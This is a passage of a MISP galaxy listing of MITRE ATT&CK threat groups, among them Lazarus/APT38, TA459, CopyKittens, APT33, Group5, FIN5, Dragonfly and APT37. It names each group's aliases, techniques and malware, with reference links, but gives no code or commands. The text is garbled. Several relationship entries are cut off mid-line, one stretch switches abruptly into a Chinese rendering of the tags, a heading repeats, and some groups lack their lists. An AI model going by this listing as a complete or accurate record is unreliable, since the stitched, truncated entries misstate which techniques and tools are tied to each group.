• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Transmitted Data Manipulation - T1565.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="KillDisk - S0607" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:360net-threat-actor="Lazarus - APT-C-26" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-malware="ECCENTRICBANDWAGON - S0593" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Shutdown/Reboot - T1529" with estimative-language:likelihood-probability="almost-certain"

Table 6464. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0082">https://attack.mitre.org/groups/G0082</a></td>
</tr>
<tr>
<td><a href="https://content.fireeye.com/apt/rpt-apt38">https://content.fireeye.com/apt/rpt-apt38</a></td>
</tr>
<tr>
<td><a href="https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf">https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/lazarus-under-the-hood/77908/">https://securelist.com/lazarus-under-the-hood/77908/</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/alerts/aa20-239a">https://us-cert.cisa.gov/ncas/alerts/aa20-239a</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-april-stardust-chollima">https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-april-stardust-chollima</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/nickel-gladstone">https://www.secureworks.com/research/threat-profiles/nickel-gladstone</a></td>
</tr>
</tbody>
</table>

TA459 - G0062

[TA459](https://attack.mitre.org/groups/G0062) is a threat group believed to operate out of China that has targeted countries including Russia, Belarus, Mongolia, and others. (Citation: Proofpoint TA459 April 2017)

The tag is: `misp-galaxy:mitre-intrusion-set="TA459 - G0062"`

TA459 - G0062 is also known as:

- TA459

View relationships graph

TA459 - G0062 has relationships with:

- uses: misp-galaxy:mitre-malware="ZeroT - S0230" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="PlugX - S0013" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="gh0st RAT - S0032" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-
语言：可能性=“几乎肯定”

- 使用：misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" 与 estimative-language:likelihood-probability="几乎肯定"

- 相似：misp-galaxy:threat-actor="TA459" 与 estimative-language:likelihood-probability="可能"

- 使用：misp-galaxy:mitre-malware="NetTraveler - S0033" 与 estimative-language:likelihood-probability="几乎肯定"

- 使用：misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" 与 estimative-language:likelihood-probability="几乎肯定"

### CopyKittens - G0052


### CopyKittens - G0052

CopyKittens - G0052 是：

- CopyKittens
CopyKittens - G0052 has relationships with:

- uses: misp-galaxy:mitre-malware="TDTESS - S0164" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Matryoshka - S0167" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Empire - S0363" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="CopyKittens" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-malware="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"

Table 6467. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.clearskysec.com/copykitten-jpost/">http://www.clearskysec.com/copykitten-jpost/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0052">https://attack.mitre.org/groups/G0052</a></td>
</tr>
<tr>
<td><a href="https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf">https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf</a></td>
</tr>
</tbody>
</table>

**Honeybee - G0072**

[Honeybee](https://attack.mitre.org/groups/G0072) is a campaign led by an unknown actor that
targets humanitarian aid organizations and has been active in Vietnam, Singapore, Argentina, Japan, Indonesia, and Canada. It has been an active operation since August of 2017 and as recently as February 2018. (Citation: McAfee Honeybee)

The tag is: misp-galaxy:mitre-intrusion-set="Honeybee - G0072"

Honeybee - G0072 is also known as:

- Honeybee

Table 6468. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0072">https://attack.mitre.org/groups/G0072</a></td>
</tr>
</tbody>
</table>

APT33 - G0064

[APT33](https://attack.mitre.org/groups/G0064) is a suspected Iranian threat group that has carried out operations since at least 2013. The group has targeted organizations across multiple industries in the United States, Saudi Arabia, and South Korea, with a particular interest in the aviation and energy sectors. (Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)

The tag is: misp-galaxy:mitre-intrusion-set="APT33 - G0064"

APT33 - G0064 is also known as:

- APT33
- HOLMIUM
- Elfin

View relationships graph

APT33 - G0064 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="PowerSploit - S0194" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-
- uses: misp-galaxy:mitre-malware="NETWIRE - S0198" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Empire - S0363" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="PoshC2 - S0378" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="APT33" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Password Spraying - T1110.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cached Domain Credentials - T1003.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Group Policy Preferences - T1552.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Ruler - S0358" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="NanoCore - S0336" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="LaZagne - S0349" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="Pupy - S0192" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="ftp - S0095" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="TURNEDUP - S0199" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="POWERTON - S0371" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="AutoIt backdoor - S0129" with estimative-
APT34 - G0057

APT34 is an Iranian cyber espionage group that has been active since at least 2014. The group has targeted a variety of industries, including financial, government, energy, chemical, and telecommunications, and has largely focused its operations within the Middle East. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. APT34 loosely aligns with public reporting related to OilRig, but may not wholly align due to companies tracking threat groups in different ways. (Citation: FireEye APT34 Dec 2017)

The tag is: misp-galaxy:mitre-intrusion-set="APT34 - G0057"

Group5 - G0043

[Group5](https://attack.mitre.org/groups/G0043) is a threat group with a suspected Iranian nexus, though this attribution is not definite. The group has targeted individuals connected to the Syrian opposition via spearphishing and watering holes, normally using Syrian and Iranian themes. [Group5](https://attack.mitre.org/groups/G0043) has used two commonly available remote access tools (RATs), [njRAT](https://attack.mitre.org/software/S0385) and [NanoCore](https://attack.mitre.org/software/S0336), as well as an Android RAT, DroidJack. (Citation:
Citizen Lab Group5)

The tag is: misp-galaxy:mitre-intrusion-set="Group5 - G0043"

Group5 - G0043 is also known as:

- Group5

View relationships graph

Group5 - G0043 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="NanoCore - S0336" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="njRAT - S0385" with estimative-language:likelihood-probability="almost-certain"

Table 6471. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0043">https://attack.mitre.org/groups/G0043</a></td>
</tr>
<tr>
<td><a href="https://citizenlab.ca/2016/08/group5-syria/">https://citizenlab.ca/2016/08/group5-syria/</a></td>
</tr>
</tbody>
</table>

FIN5 - G0053

[FIN5](https://attack.mitre.org/groups/G0053) is a financially motivated threat group that has targeted personally identifiable information and payment card information. The group has been active since at least 2008 and has targeted the restaurant, gaming, and hotel industries. The group is made up of actors who likely speak Russian. (Citation: FireEye Respond Webinar July 2017) (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)

The tag is: misp-galaxy:mitre-intrusion-set="FIN5 - G0053"

FIN5 - G0053 is also known as:

- FIN5

View relationships graph

FIN5 - G0053 has relationships with:
• uses: misp-galaxy:mitre-malware="FLIPSIDE - S0173" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Windows Credential Editor - S0005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="External Proxy - T1090.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="RawPOS - S0169" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="pwdump - S0006" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="SDelete - S0195" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 6472. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0053">https://attack.mitre.org/groups/G0053</a></td>
</tr>
<tr>
<td><a href="https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645">https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645</a>?</td>
</tr>
</tbody>
</table>
Dragonfly - G0035

[Dragonfly](https://attack.mitre.org/groups/G0035) is a cyber espionage group that has been attributed to Russia’s Federal Security Service (FSB) Center 16. (Citation: DOJ Russia Targeting Critical Infrastructure March 2022) (Citation: UK GOV FSB Factsheet April 2022) Active since at least 2010, [Dragonfly](https://attack.mitre.org/groups/G0035) has targeted defense and aviation companies, government entities, companies related to industrial control systems, and critical infrastructure sectors worldwide through supply chain, spearphishing, and drive-by compromise attacks. (Citation: Symantec Dragonfly) (Citation: Secureworks IRON LIBERTY July 2019) (Citation: Symantec Dragonfly Sept 2017) (Citation: Fortune Dragonfly 2.0 Sept 2017) (Citation: Gigamon Berserk Bear October 2021) (Citation: CISA AA20-296A Berserk Bear December 2020) (Citation: Symantec Dragonfly 2.0 October 2017)

The tag is: misp-galaxy:mitre-intrusion-set="Dragonfly - G0035"

Dragonfly - G0035 is also known as:

- Dragonfly
- TEMP.Isotope
- DYMALLOY
- Berserk Bear
- TG-4192
- Crouching Yeti
- IRON LIBERTY
- Energetic Bear

View relationships graph

Dragonfly - G0035 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Password Cracking - T1110.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Impacket - S0357" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1598.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Drive-by Target - T1608.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Vulnerability Scanning - T1595.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="netsh - S0108" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"
• similar: misp-galaxy:threat-actor="ENERGETIC BEAR" with estimative-language:likelihood-probability="likely"
• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Virtual Private Server - T1583.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Hidden Users - T1564.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="MCMD - S0500" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote Email Collection - T1114.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Forced Authentication - T1187" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Compromise Software Supply Chain - T1195.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="CrackMapExec - S0488" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Reg - S0075" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Template Injection - T1221" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Server - T1584.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 6473. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0035">https://attack.mitre.org/groups/G0035</a></td>
</tr>
<tr>
<td><a href="https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&amp;CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&amp;tab=librarydocuments">https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&amp;CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&amp;tab=librarydocuments</a></td>
</tr>
<tr>
<td><a href="https://docs.broadcom.com/doc/dragonfly_threat_against_western_energy_suppliers">https://docs.broadcom.com/doc/dragonfly_threat_against_western_energy_suppliers</a></td>
</tr>
<tr>
<td><a href="https://www.cisa.gov/uscert/ncas/alerts/aa20-296a#revisions">https://www.cisa.gov/uscert/ncas/alerts/aa20-296a#revisions</a></td>
</tr>
<tr>
<td><a href="https://www.dragos.com/threat/dymalloy/">https://www.dragos.com/threat/dymalloy/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/mcmd-malware-analysis">https://www.secureworks.com/research/mcmd-malware-analysis</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/resurgent-iron-liberty-targeting-energy-sector">https://www.secureworks.com/research/resurgent-iron-liberty-targeting-energy-sector</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector">https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector</a></td>
</tr>
</tbody>
</table>

**APT37 - G0067**

[APT37](https://attack.mitre.org/groups/G0067) is a North Korean state-sponsored cyber espionage group that has been active since at least 2012. The group has targeted victims primarily in South Korea, but also in Japan, Vietnam, Russia, Nepal, China, India, Romania, Kuwait, and other parts of the Middle East. [APT37](https://attack.mitre.org/groups/G0067) has also been linked to the following campaigns between 2016-2018: Operation Daybreak, Operation Erebus, Golden Time, Evil New Year, Are you Happy?, FreeMilk, North Korean Human Rights, and Evil New Year 2018.(Citation: FireEye APT37 Feb 2018)(Citation: Securelist ScarCruft Jun 2016)(Citation: Talos Group123)

North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.
The tag is: misp-galaxy:mitre-intrusion-set="APT37 - G0067"

APT37 - G0067 is also known as:

- APT37
- InkySquid
- ScarCruft
- Reaper
- Group123
- TEMP:Reaper
- Ricochet Chollima

View relationships graph

APT37 - G0067 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="DOGCALL - S0213" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="HAPPYWORK - S0214" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="KARAE - S0215" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="SLOWDRIFT - S0218" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="SHUTTERSPEED - S0217" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="WINERACK - S0219" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:threat-actor="APT37" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-malware="NavRAT - S0247" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="POORAIM - S0216" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="ROKRAT - S0240" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="CORALDECK - S0212" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="BLUELIGHT - S0657" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:360net-threat-actor="ScarCruf - APT-C-28" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="Final1stspy - S0355" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Invalid Code Signature - T1036.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Steganography - T1027.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"

